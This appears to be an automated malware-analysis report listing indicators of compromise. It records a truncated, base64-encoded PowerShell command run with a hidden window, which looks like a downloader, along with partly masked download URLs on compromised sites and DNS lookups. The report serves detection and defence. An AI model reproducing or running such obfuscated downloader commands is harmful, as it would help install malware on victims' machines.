Technical Information
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABsAGkAZQBjAGgAcgBvAHUAaAB3AHUAdwA9ACcAdgB1AGEAYwBkAG8AdQB2AGMAaQBvAHgAaABhAG8AbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBpAFQAeQBgAF...
- http://di#####marketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix/
- http://www.cf#.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/
- DNS ASK ha###nkong.com
- DNS ASK te####avel.events
- DNS ASK di#####marketing.com
- DNS ASK ho##ve.se
- DNS ASK cf#.nl
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABsAGkAZQBjAGgAcgBvAHUAaAB3AHUAdwA9ACcAdgB1AGEAYwBkAG8AdQB2AGMAaQBvAHgAaABhAG8AbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBpAFQAeQBgAF...' (with hidden window)